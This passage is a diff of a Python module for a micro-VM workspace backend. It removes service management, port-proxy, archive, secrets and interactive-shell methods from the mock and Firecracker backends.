- env_overrides=env_overrides, - ): - service.ready_at = time.time() - return service - if time.monotonic() >= deadline: - _stop_process_group(process.pid) - service = _refresh_local_service_record(service, services_dir=services_dir) - service.state = "failed" - service.stop_reason = "readiness_timeout" - if service.ended_at is None: - service.ended_at = time.time() - return service - time.sleep(max(ready_interval_ms, 1) / 1000) - - -def _stop_local_service( - service: WorkspaceServiceRecord, - *, - services_dir: Path, -) -> WorkspaceServiceRecord: - if service.pid is None: - return service - stopped, killed = _stop_process_group(service.pid) - refreshed = _refresh_local_service_record(service, services_dir=services_dir) - if stopped: - refreshed.state = "stopped" - refreshed.stop_reason = "sigkill" if killed else "sigterm" - refreshed.ended_at = refreshed.ended_at or time.time() - return refreshed - - -def _start_workspace_published_port_proxy( - *, - services_dir: Path, - service_name: str, - workspace_id: str, - guest_ip: str, - spec: WorkspacePublishedPortSpec, -) -> WorkspacePublishedPortRecord: - ready_path = _workspace_service_port_ready_path( - services_dir, - service_name, - spec.host_port or 0, - spec.guest_port, - ) - ready_path.unlink(missing_ok=True) - command = [ - sys.executable, - "-m", - "pyro_mcp.workspace_ports", - "--listen-host", - DEFAULT_PUBLISHED_PORT_HOST, - "--listen-port", - str(spec.host_port or 0), - "--target-host", - guest_ip, - "--target-port", - str(spec.guest_port), - "--ready-file", - str(ready_path), - ] - process = subprocess.Popen( # noqa: S603 - command, - text=True, - stdout=subprocess.DEVNULL, - stderr=subprocess.DEVNULL, - start_new_session=True, - ) - deadline = time.monotonic() + 5 - while time.monotonic() < deadline: - if ready_path.exists(): - payload = json.loads(ready_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError("published port proxy ready payload is invalid") - ready_path.unlink(missing_ok=True) - return WorkspacePublishedPortRecord( - guest_port=int(payload.get("target_port", spec.guest_port)), - host_port=int(payload["host_port"]), - host=str(payload.get("host", DEFAULT_PUBLISHED_PORT_HOST)), - protocol=str(payload.get("protocol", "tcp")), - proxy_pid=process.pid, - ) - if process.poll() is not None: - raise RuntimeError( - "failed to start published port proxy for " - f"service {service_name!r} in workspace {workspace_id!r}" - ) - time.sleep(0.05) - _stop_workspace_published_port_proxy( - WorkspacePublishedPortRecord( - guest_port=spec.guest_port, - host_port=spec.host_port or 0, - proxy_pid=process.pid, - ) - ) - ready_path.unlink(missing_ok=True) - raise RuntimeError( - "timed out waiting for published port proxy readiness for " - f"service {service_name!r} in workspace {workspace_id!r}" - ) - - -def _stop_workspace_published_port_proxy(published_port: WorkspacePublishedPortRecord) -> None: - if published_port.proxy_pid is None: - return - try: - os.killpg(published_port.proxy_pid, signal.SIGTERM) - except ProcessLookupError: - return - deadline = time.monotonic() + 5 - while time.monotonic() < deadline: - if not _pid_is_running(published_port.proxy_pid): - return - time.sleep(0.05) - try: - os.killpg(published_port.proxy_pid, signal.SIGKILL) - except ProcessLookupError: - return - - -def _instance_workspace_host_dir(instance: VmInstance) -> Path: - raw_value = instance.metadata.get("workspace_host_dir") - if raw_value is None or raw_value == "": - raise RuntimeError("workspace host directory is unavailable") - return Path(raw_value) - - -def _patch_rootfs_runtime_file( - rootfs_image: Path, - *, - source_path: Path, - destination_path: str, - asset_label: str, - file_mode: str | None = None, -) -> None: - debugfs_path = shutil.which("debugfs") - if debugfs_path is None: - raise RuntimeError("debugfs is required to seed workspaces on guest-backed runtimes") - with tempfile.TemporaryDirectory(prefix=f"pyro-{asset_label}-") as temp_dir: - staged_path = Path(temp_dir) / Path(destination_path).name - shutil.copy2(source_path, staged_path) - subprocess.run( # noqa: S603 - [debugfs_path, "-w", "-R", f"rm {destination_path}", str(rootfs_image)], - text=True, - capture_output=True, - check=False, - ) - proc = subprocess.run( # noqa: S603 - [ - debugfs_path, - "-w", - "-R", - f"write {staged_path} {destination_path}", - str(rootfs_image), - ], - text=True, - capture_output=True, - check=False, - ) - if proc.returncode == 0 and file_mode is not None: - proc = subprocess.run( # noqa: S603 - [ - debugfs_path, - "-w", - "-R", - f"set_inode_field {destination_path} mode {file_mode}", - str(rootfs_image), - ], - text=True, - capture_output=True, - check=False, - ) - if proc.returncode != 0: - raise RuntimeError( - f"failed to patch {asset_label} into workspace rootfs: " - f"{proc.stderr.strip() or proc.stdout.strip()}" - ) - - -def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) -> None: - relative_path = target_path.relative_to(root) - current = root - for part in relative_path.parts[:-1]: - current = current / part - if current.is_symlink(): - raise RuntimeError( - f"archive member would traverse through a symlinked path: {member_name}" - ) - - -def _pid_is_running(pid: int | None) -> bool: - if pid is None: - return False - process_state = _linux_process_state(pid) - if process_state == "Z": - return False - if process_state is not None: - return True - try: - os.kill(pid, 0) - except ProcessLookupError: - return False - except PermissionError: - return True - return True - - -def _collect_workspace_tree(root: Path) -> dict[str, WorkspaceTreeEntry]: - entries: dict[str, WorkspaceTreeEntry] = {} - - def walk(current: Path, relative_parts: tuple[str, ...] = ()) -> bool: - has_entries = False - for child in sorted(current.iterdir(), key=lambda item: item.name): - child_relative_parts = relative_parts + (child.name,) - relative_path = "/".join(child_relative_parts) - if child.is_symlink(): - entries[relative_path] = WorkspaceTreeEntry( - path=relative_path, - artifact_type="symlink", - disk_path=child, - link_target=os.readlink(child), - ) - has_entries = True - continue - if child.is_file(): - entries[relative_path] = WorkspaceTreeEntry( - path=relative_path, - artifact_type="file", - disk_path=child, - size_bytes=child.stat().st_size, - ) - has_entries = True - continue - if child.is_dir(): - child_has_entries = walk(child, child_relative_parts) - if not child_has_entries: - entries[relative_path] = WorkspaceTreeEntry( - path=relative_path, - artifact_type="directory", - disk_path=child, - ) - has_entries = True - else: - has_entries = True - continue - raise RuntimeError(f"unsupported workspace artifact type: {child}") - return has_entries - - walk(root) - return entries - - -def _is_probably_text(data: bytes) -> bool: - if b"\x00" in data: - return False - try: - data.decode("utf-8") - except UnicodeDecodeError: - return False - return True - - -def _build_text_patch( - *, - path: str, - before_text: str, - after_text: str, - status: str, -) -> str: - if status == "added": - fromfile = "/dev/null" - tofile = f"b/{path}" - elif status == "deleted": - fromfile = f"a/{path}" - tofile = "/dev/null" - else: - fromfile = f"a/{path}" - tofile = f"b/{path}" - lines = list( - difflib.unified_diff( - before_text.splitlines(keepends=True), - after_text.splitlines(keepends=True), - fromfile=fromfile, - tofile=tofile, - n=3, - ) - ) - if not lines: - return "" - return "".join(lines) - - -def _diff_workspace_trees( - baseline_root: Path, - current_root: Path, -) -> dict[str, Any]: - baseline_entries = _collect_workspace_tree(baseline_root) - current_entries = _collect_workspace_tree(current_root) - changed_entries: list[dict[str, Any]] = [] - patch_parts: list[str] = [] - summary = { - "total": 0, - "added": 0, - "modified": 0, - "deleted": 0, - "type_changed": 0, - "text_patched": 0, - "non_text": 0, - } - - for path in sorted(set(baseline_entries) | set(current_entries)): - baseline_entry = baseline_entries.get(path) - current_entry = current_entries.get(path) - entry_payload: dict[str, Any] | None = None - text_patch = "" - - if baseline_entry is None and current_entry is not None: - entry_payload = { - "path": path, - "status": "added", - "artifact_type": current_entry.artifact_type, - "text_patch": None, - } - if current_entry.artifact_type == "file": - current_bytes = current_entry.disk_path.read_bytes() - if _is_probably_text(current_bytes): - text_patch = _build_text_patch( - path=path, - before_text="", - after_text=current_bytes.decode("utf-8"), - status="added", - ) - elif current_entry is None and baseline_entry is not None: - entry_payload = { - "path": path, - "status": "deleted", - "artifact_type": baseline_entry.artifact_type, - "text_patch": None, - } - if baseline_entry.artifact_type == "file": - baseline_bytes = baseline_entry.disk_path.read_bytes() - if _is_probably_text(baseline_bytes): - text_patch = _build_text_patch( - path=path, - before_text=baseline_bytes.decode("utf-8"), - after_text="", - status="deleted", - ) - elif baseline_entry is not None and current_entry is not None: - if baseline_entry.artifact_type != current_entry.artifact_type: - entry_payload = { - "path": path, - "status": "type_changed", - "artifact_type": current_entry.artifact_type, - "text_patch": None, - } - elif current_entry.artifact_type == "directory": - continue - elif current_entry.artifact_type == "symlink": - if baseline_entry.link_target != current_entry.link_target: - entry_payload = { - "path": path, - "status": "modified", - "artifact_type": current_entry.artifact_type, - "text_patch": None, - } - else: - baseline_bytes = baseline_entry.disk_path.read_bytes() - current_bytes = current_entry.disk_path.read_bytes() - if baseline_bytes == current_bytes: - continue - entry_payload = { - "path": path, - "status": "modified", - "artifact_type": current_entry.artifact_type, - "text_patch": None, - } - if _is_probably_text(baseline_bytes) and _is_probably_text(current_bytes): - text_patch = _build_text_patch( - path=path, - before_text=baseline_bytes.decode("utf-8"), - after_text=current_bytes.decode("utf-8"), - status="modified", - ) - - if entry_payload is None: - continue - - summary["total"] += 1 - summary[str(entry_payload["status"])] += 1 - if text_patch != "": - entry_payload["text_patch"] = text_patch - patch_parts.append(text_patch) - summary["text_patched"] += 1 - else: - summary["non_text"] += 1 - changed_entries.append(entry_payload) - - return { - "changed": bool(changed_entries), - "summary": summary, - "entries": changed_entries, - "patch": "".join(patch_parts), - } - - class VmBackend: """Backend interface for lifecycle operations.""" @@ -2249,13 +112,7 @@ class VmBackend: raise NotImplementedError def exec( # pragma: no cover - self, - instance: VmInstance, - command: str, - timeout_seconds: int, - *, - workdir: Path | None = None, - env: dict[str, str] | None = None, + self, instance: VmInstance, command: str, timeout_seconds: int ) -> VmExecResult: raise NotImplementedError @@ -2265,165 +122,6 @@ class VmBackend: def delete(self, instance: VmInstance) -> None: # pragma: no cover raise NotImplementedError - def import_archive( # pragma: no cover - self, - instance: VmInstance, - *, - archive_path: Path, - destination: str, - ) -> dict[str, Any]: - raise NotImplementedError - - def install_secrets( # pragma: no cover - self, - instance: VmInstance, - *, - archive_path: Path, - ) -> dict[str, Any]: - raise NotImplementedError - - def export_archive( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_path: str, - archive_path: Path, - ) -> dict[str, Any]: - raise NotImplementedError - - def list_workspace_entries( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_path: str, - recursive: bool, - ) -> dict[str, Any]: - raise NotImplementedError - - def read_workspace_file( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_path: str, - max_bytes: int, - ) -> dict[str, Any]: - raise NotImplementedError - - def write_workspace_file( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_path: str, - text: str, - ) -> dict[str, Any]: - raise NotImplementedError - - def delete_workspace_path( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_path: str, - ) -> dict[str, Any]: - raise NotImplementedError - - def open_shell( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - cwd: str, - cols: int, - rows: int, - env: dict[str, str] | None = None, - redact_values: list[str] | None = None, - ) -> dict[str, Any]: - raise NotImplementedError - - def read_shell( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - cursor: int, - max_chars: int, - ) -> dict[str, Any]: - raise NotImplementedError - - def write_shell( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - input_text: str, - append_newline: bool, - ) -> dict[str, Any]: - raise NotImplementedError - - def signal_shell( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - signal_name: str, - ) -> dict[str, Any]: - raise NotImplementedError - - def close_shell( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - ) -> dict[str, Any]: - raise NotImplementedError - - def start_service( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - command: str, - cwd: str, - readiness: dict[str, Any] | None, - ready_timeout_seconds: int, - ready_interval_ms: int, - env: dict[str, str] | None = None, - ) -> dict[str, Any]: - raise NotImplementedError - - def status_service( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - ) -> dict[str, Any]: - raise NotImplementedError - - def logs_service( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - tail_lines: int | None, - ) -> dict[str, Any]: - raise NotImplementedError - - def stop_service( # pragma: no cover - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - ) -> dict[str, Any]: - raise NotImplementedError - class MockBackend(VmBackend): """Host-process backend used for development and testability.""" @@ -2435,21 +133,8 @@ class MockBackend(VmBackend): marker_path = instance.workdir / ".started" marker_path.write_text("started\n", encoding="utf-8") - def exec( - self, - instance: VmInstance, - command: str, - timeout_seconds: int, - *, - workdir: Path | None = None, - env: dict[str, str] | None = None, - ) -> VmExecResult: - return _run_host_command( - workdir or instance.workdir, - command, - timeout_seconds, - env_overrides=env, - ) + def exec(self, instance: VmInstance, command: str, timeout_seconds: int) -> VmExecResult: + return _run_host_command(instance.workdir, command, timeout_seconds) def stop(self, instance: VmInstance) -> None: marker_path = instance.workdir / ".stopped" @@ -2458,315 +143,6 @@ class MockBackend(VmBackend): def delete(self, instance: VmInstance) -> None: shutil.rmtree(instance.workdir, ignore_errors=True) - def import_archive( - self, - instance: VmInstance, - *, - archive_path: Path, - destination: str, - ) -> dict[str, Any]: - return _extract_seed_archive_to_host_workspace( - archive_path, - workspace_dir=_instance_workspace_host_dir(instance), - destination=destination, - ) - - def install_secrets( - self, - instance: VmInstance, - *, - archive_path: Path, - ) -> dict[str, Any]: - del instance - entry_count, bytes_written = _inspect_seed_archive(archive_path) - return { - "destination": WORKSPACE_GUEST_SECRETS_PATH, - "entry_count": entry_count, - "bytes_written": bytes_written, - } - - def export_archive( - self, - instance: VmInstance, - *, - workspace_path: str, - archive_path: Path, - ) -> dict[str, Any]: - exported = _prepare_workspace_export_archive( - workspace_dir=_instance_workspace_host_dir(instance), - workspace_path=workspace_path, - archive_path=archive_path, - ) - return { - "workspace_path": exported.workspace_path, - "artifact_type": exported.artifact_type, - "entry_count": exported.entry_count, - "bytes_written": exported.bytes_written, - "execution_mode": "host_compat", - } - - def list_workspace_entries( - self, - instance: VmInstance, - *, - workspace_path: str, - recursive: bool, - ) -> dict[str, Any]: - listing = list_workspace_files( - _instance_workspace_host_dir(instance), - workspace_path=workspace_path, - recursive=recursive, - ) - return { - "path": listing.path, - "artifact_type": listing.artifact_type, - "entries": [entry.to_payload() for entry in listing.entries], - "execution_mode": "host_compat", - } - - def read_workspace_file( - self, - instance: VmInstance, - *, - workspace_path: str, - max_bytes: int, - ) -> dict[str, Any]: - file_result = read_workspace_file( - _instance_workspace_host_dir(instance), - workspace_path=workspace_path, - max_bytes=max_bytes, - ) - return { - "path": file_result.path, - "size_bytes": file_result.size_bytes, - "content_bytes": file_result.content_bytes, - "execution_mode": "host_compat", - } - - def write_workspace_file( - self, - instance: VmInstance, - *, - workspace_path: str, - text: str, - ) -> dict[str, Any]: - result = write_workspace_file( - _instance_workspace_host_dir(instance), - workspace_path=workspace_path, - text=text, - ) - return { - "path": result.path, - "size_bytes": result.size_bytes, - "bytes_written": result.bytes_written, - "execution_mode": "host_compat", - } - - def delete_workspace_path( - self, - instance: VmInstance, - *, - workspace_path: str, - ) -> dict[str, Any]: - result = delete_workspace_path( - _instance_workspace_host_dir(instance), - workspace_path=workspace_path, - ) - return { - "path": result.path, - "deleted": result.deleted, - "execution_mode": "host_compat", - } - - def open_shell( - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - cwd: str, - cols: int, - rows: int, - env: dict[str, str] | None = None, - redact_values: list[str] | None = None, - ) -> dict[str, Any]: - session = create_local_shell( - workspace_id=workspace_id, - shell_id=shell_id, - cwd=_workspace_host_destination(_instance_workspace_host_dir(instance), cwd), - display_cwd=cwd, - cols=cols, - rows=rows, - env_overrides=env, - redact_values=redact_values, - ) - summary = session.summary() - summary["execution_mode"] = "host_compat" - return summary - - def read_shell( - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - cursor: int, - max_chars: int, - ) -> dict[str, Any]: - del instance - session = get_local_shell(workspace_id=workspace_id, shell_id=shell_id) - payload = session.read(cursor=cursor, max_chars=max_chars) - payload["execution_mode"] = "host_compat" - return payload - - def write_shell( - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - input_text: str, - append_newline: bool, - ) -> dict[str, Any]: - del instance - session = get_local_shell(workspace_id=workspace_id, shell_id=shell_id) - payload = session.write(input_text, append_newline=append_newline) - payload["execution_mode"] = "host_compat" - return payload - - def signal_shell( - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - signal_name: str, - ) -> dict[str, Any]: - del instance - session = get_local_shell(workspace_id=workspace_id, shell_id=shell_id) - payload = session.send_signal(signal_name) - payload["execution_mode"] = "host_compat" - return payload - - def close_shell( - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - ) -> dict[str, Any]: - del instance - session = remove_local_shell(workspace_id=workspace_id, shell_id=shell_id) - if session is None: - raise ValueError(f"shell {shell_id!r} does not exist in workspace {workspace_id!r}") - payload = session.close() - payload["execution_mode"] = "host_compat" - return payload - - def start_service( - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - command: str, - cwd: str, - readiness: dict[str, Any] | None, - ready_timeout_seconds: int, - ready_interval_ms: int, - env: dict[str, str] | None = None, - ) -> dict[str, Any]: - services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME - service = _start_local_service( - services_dir=services_dir, - workspace_dir=_instance_workspace_host_dir(instance), - workspace_id=workspace_id, - service_name=service_name, - command=command, - cwd_text=cwd, - readiness=readiness, - ready_timeout_seconds=ready_timeout_seconds, - ready_interval_ms=ready_interval_ms, - env_overrides=env, - ) - return service.to_payload() - - def status_service( - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - ) -> dict[str, Any]: - services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME - service = self._load_workspace_service(services_dir, workspace_id, service_name) - refreshed = _refresh_local_service_record( - service, - services_dir=services_dir, - ) - return refreshed.to_payload() - - def logs_service( - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - tail_lines: int | None, - ) -> dict[str, Any]: - services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME - service = self._load_workspace_service(services_dir, workspace_id, service_name) - refreshed = _refresh_local_service_record(service, services_dir=services_dir) - payload = refreshed.to_payload() - stdout, stdout_truncated = _tail_text( - _workspace_service_stdout_path(services_dir, service_name), - tail_lines=tail_lines, - ) - stderr, stderr_truncated = _tail_text( - _workspace_service_stderr_path(services_dir, service_name), - tail_lines=tail_lines, - ) - payload.update( - { - "stdout": stdout, - "stderr": stderr, - "tail_lines": tail_lines, - "truncated": stdout_truncated or stderr_truncated, - } - ) - return payload - - def stop_service( - self, - instance: VmInstance, - *, - workspace_id: str, - service_name: str, - ) -> dict[str, Any]: - services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME - service = self._load_workspace_service(services_dir, workspace_id, service_name) - stopped = _stop_local_service( - service, - services_dir=services_dir, - ) - return stopped.to_payload() - - def _load_workspace_service( - self, - services_dir: Path, - workspace_id: str, - service_name: str, - ) -> WorkspaceServiceRecord: - record_path = services_dir / f"{service_name}.json" - if not record_path.exists(): - raise ValueError( - f"service {service_name!r} does not exist in workspace {workspace_id!r}" - ) - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"service record at {record_path} is invalid") - return WorkspaceServiceRecord.from_payload(payload) - class FirecrackerBackend(VmBackend): # pragma: no cover """Host-gated backend that validates Firecracker prerequisites.""" @@ -2831,11 +207,6 @@ class FirecrackerBackend(VmBackend): # pragma: no cover def start(self, instance: VmInstance) -> None: launch_plan = build_launch_plan(instance) - for stale_socket_path in ( - launch_plan.api_socket_path, - instance.workdir / "vsock.sock", - ): - stale_socket_path.unlink(missing_ok=True) instance.metadata["firecracker_config_path"] = str(launch_plan.config_path) instance.metadata["guest_network_path"] = str(launch_plan.guest_network_path) instance.metadata["guest_exec_path"] = str(launch_plan.guest_exec_path) @@ -2878,7 +249,6 @@ class FirecrackerBackend(VmBackend): # pragma: no cover stdout=serial_fp, stderr=subprocess.STDOUT, text=True, - start_new_session=True, ) self._processes[instance.vm_id] = process time.sleep(2) @@ -2892,19 +262,11 @@ class FirecrackerBackend(VmBackend): # pragma: no cover ) instance.firecracker_pid = process.pid instance.metadata["execution_mode"] = ( - "guest_vsock" if self._runtime_capabilities.supports_guest_exec else "guest_boot_only" + "guest_vsock" if self._runtime_capabilities.supports_guest_exec else "host_compat" ) instance.metadata["boot_mode"] = "native" - def exec( - self, - instance: VmInstance, - command: str, - timeout_seconds: int, - *, - workdir: Path | None = None, - env: dict[str, str] | None = None, - ) -> VmExecResult: + def exec(self, instance: VmInstance, command: str, timeout_seconds: int) -> VmExecResult: if self._runtime_capabilities.supports_guest_exec: guest_cid = int(instance.metadata["guest_cid"]) port = int(instance.metadata["guest_exec_port"]) @@ -2917,7 +279,6 @@ class FirecrackerBackend(VmBackend): # pragma: no cover port, command, timeout_seconds, - env=env, uds_path=uds_path, ) break @@ -2934,12 +295,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover duration_ms=response.duration_ms, ) instance.metadata["execution_mode"] = "host_compat" - return _run_host_command( - workdir or instance.workdir, - command, - timeout_seconds, - env_overrides=env, - ) + return _run_host_command(instance.workdir, command, timeout_seconds) def stop(self, instance: VmInstance) -> None: process = self._processes.pop(instance.vm_id, None) @@ -2976,571 +332,9 @@ class FirecrackerBackend(VmBackend): # pragma: no cover self._network_manager.cleanup(instance.network) shutil.rmtree(instance.workdir, ignore_errors=True) - def import_archive( - self, - instance: VmInstance, - *, - archive_path: Path, - destination: str, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - deadline = time.monotonic() + 10 - while True: - try: - response = self._guest_exec_client.upload_archive( - guest_cid, - port, - archive_path, - destination=destination, - timeout_seconds=WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, - uds_path=uds_path, - ) - return { - "destination": response.destination, - "entry_count": response.entry_count, - "bytes_written": response.bytes_written, - } - except (OSError, RuntimeError) as exc: - if time.monotonic() >= deadline: - raise RuntimeError( - f"guest archive transport did not become ready: {exc}" - ) from exc - time.sleep(0.2) - instance.metadata["execution_mode"] = "host_compat" - return _extract_seed_archive_to_host_workspace( - archive_path, - workspace_dir=_instance_workspace_host_dir(instance), - destination=destination, - ) - - def install_secrets( - self, - instance: VmInstance, - *, - archive_path: Path, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - deadline = time.monotonic() + 10 - while True: - try: - response = self._guest_exec_client.install_secrets( - guest_cid, - port, - archive_path, - timeout_seconds=WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, - uds_path=uds_path, - ) - return { - "destination": response.destination, - "entry_count": response.entry_count, - "bytes_written": response.bytes_written, - } - except (OSError, RuntimeError) as exc: - if time.monotonic() >= deadline: - raise RuntimeError( - f"guest secret transport did not become ready: {exc}" - ) from exc - time.sleep(0.2) - raise RuntimeError("workspace secrets require guest execution") - - def export_archive( - self, - instance: VmInstance, - *, - workspace_path: str, - archive_path: Path, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - deadline = time.monotonic() + 10 - while True: - try: - response = self._guest_exec_client.export_archive( - guest_cid, - port, - workspace_path=workspace_path, - archive_path=archive_path, - timeout_seconds=WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, - uds_path=uds_path, - ) - return { - "workspace_path": response.workspace_path, - "artifact_type": response.artifact_type, - "entry_count": response.entry_count, - "bytes_written": response.bytes_written, - "execution_mode": instance.metadata.get("execution_mode", "pending"), - } - except (OSError, RuntimeError) as exc: - if time.monotonic() >= deadline: - raise RuntimeError( - f"guest export transport did not become ready: {exc}" - ) from exc - time.sleep(0.2) - instance.metadata["execution_mode"] = "host_compat" - exported = _prepare_workspace_export_archive( - workspace_dir=_instance_workspace_host_dir(instance), - workspace_path=workspace_path, - archive_path=archive_path, - ) - return { - "workspace_path": exported.workspace_path, - "artifact_type": exported.artifact_type, - "entry_count": exported.entry_count, - "bytes_written": exported.bytes_written, - "execution_mode": "host_compat", - } - - def list_workspace_entries( - self, - instance: VmInstance, - *, - workspace_path: str, - recursive: bool, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = self._guest_exec_client.list_workspace_entries( - guest_cid, - port, - workspace_path=workspace_path, - recursive=recursive, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - instance.metadata["execution_mode"] = "host_compat" - listing = list_workspace_files( - _instance_workspace_host_dir(instance), - workspace_path=workspace_path, - recursive=recursive, - ) - return { - "path": listing.path, - "artifact_type": listing.artifact_type, - "entries": [entry.to_payload() for entry in listing.entries], - "execution_mode": "host_compat", - } - - def read_workspace_file( - self, - instance: VmInstance, - *, - workspace_path: str, - max_bytes: int, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = self._guest_exec_client.read_workspace_file( - guest_cid, - port, - workspace_path=workspace_path, - max_bytes=max_bytes, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - instance.metadata["execution_mode"] = "host_compat" - file_result = read_workspace_file( - _instance_workspace_host_dir(instance), - workspace_path=workspace_path, - max_bytes=max_bytes, - ) - return { - "path": file_result.path, - "size_bytes": file_result.size_bytes, - "content_bytes": file_result.content_bytes, - "execution_mode": "host_compat", - } - - def write_workspace_file( - self, - instance: VmInstance, - *, - workspace_path: str, - text: str, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = self._guest_exec_client.write_workspace_file( - guest_cid, - port, - workspace_path=workspace_path, - text=text, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - instance.metadata["execution_mode"] = "host_compat" - result = write_workspace_file( - _instance_workspace_host_dir(instance), - workspace_path=workspace_path, - text=text, - ) - return { - "path": result.path, - "size_bytes": result.size_bytes, - "bytes_written": result.bytes_written, - "execution_mode": "host_compat", - } - - def delete_workspace_path( - self, - instance: VmInstance, - *, - workspace_path: str, - ) -> dict[str, Any]: - if self._runtime_capabilities.supports_guest_exec: - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = self._guest_exec_client.delete_workspace_path( - guest_cid, - port, - workspace_path=workspace_path, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - instance.metadata["execution_mode"] = "host_compat" - result = delete_workspace_path( - _instance_workspace_host_dir(instance), - workspace_path=workspace_path, - ) - return { - "path": result.path, - "deleted": result.deleted, - "execution_mode": "host_compat", - } - - def open_shell( - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - cwd: str, - cols: int, - rows: int, - env: dict[str, str] | None = None, - redact_values: list[str] | None = None, - ) -> dict[str, Any]: - del workspace_id - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - response = self._guest_exec_client.open_shell( - guest_cid, - port, - shell_id=shell_id, - cwd=cwd, - cols=cols, - rows=rows, - env=env, - redact_values=redact_values, - uds_path=uds_path, - ) - return { - "shell_id": response.shell_id or shell_id, - "cwd": response.cwd, - "cols": response.cols, - "rows": response.rows, - "state": response.state, - "started_at": response.started_at, - "ended_at": response.ended_at, - "exit_code": response.exit_code, - "execution_mode": instance.metadata.get("execution_mode", "pending"), - } - - def read_shell( - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - cursor: int, - max_chars: int, - ) -> dict[str, Any]: - del workspace_id - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - response = self._guest_exec_client.read_shell( - guest_cid, - port, - shell_id=shell_id, - cursor=cursor, - max_chars=max_chars, - uds_path=uds_path, - ) - return { - "shell_id": response.shell_id, - "cwd": response.cwd, - "cols": response.cols, - "rows": response.rows, - "state": response.state, - "started_at": response.started_at, - "ended_at": response.ended_at, - "exit_code": response.exit_code, - "cursor": response.cursor, - "next_cursor": response.next_cursor, - "output": response.output, - "truncated": response.truncated, - "execution_mode": instance.metadata.get("execution_mode", "pending"), - } - - def write_shell( - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - input_text: str, - append_newline: bool, - ) -> dict[str, Any]: - del workspace_id - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = self._guest_exec_client.write_shell( - guest_cid, - port, - shell_id=shell_id, - input_text=input_text, - append_newline=append_newline, - uds_path=uds_path, - ) - payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") - return payload - - def signal_shell( - self, - instance: VmInstance, - *, - workspace_id: str, - shell_id: str, - signal_name: str, - ) -> dict[str, Any]: - del workspace_id - guest_cid = int(instance.metadata["guest_cid"]) - port = int(instance.metadata["guest_exec_port"]) - uds_path = instance.metadata.get("guest_exec_uds_path") - payload = 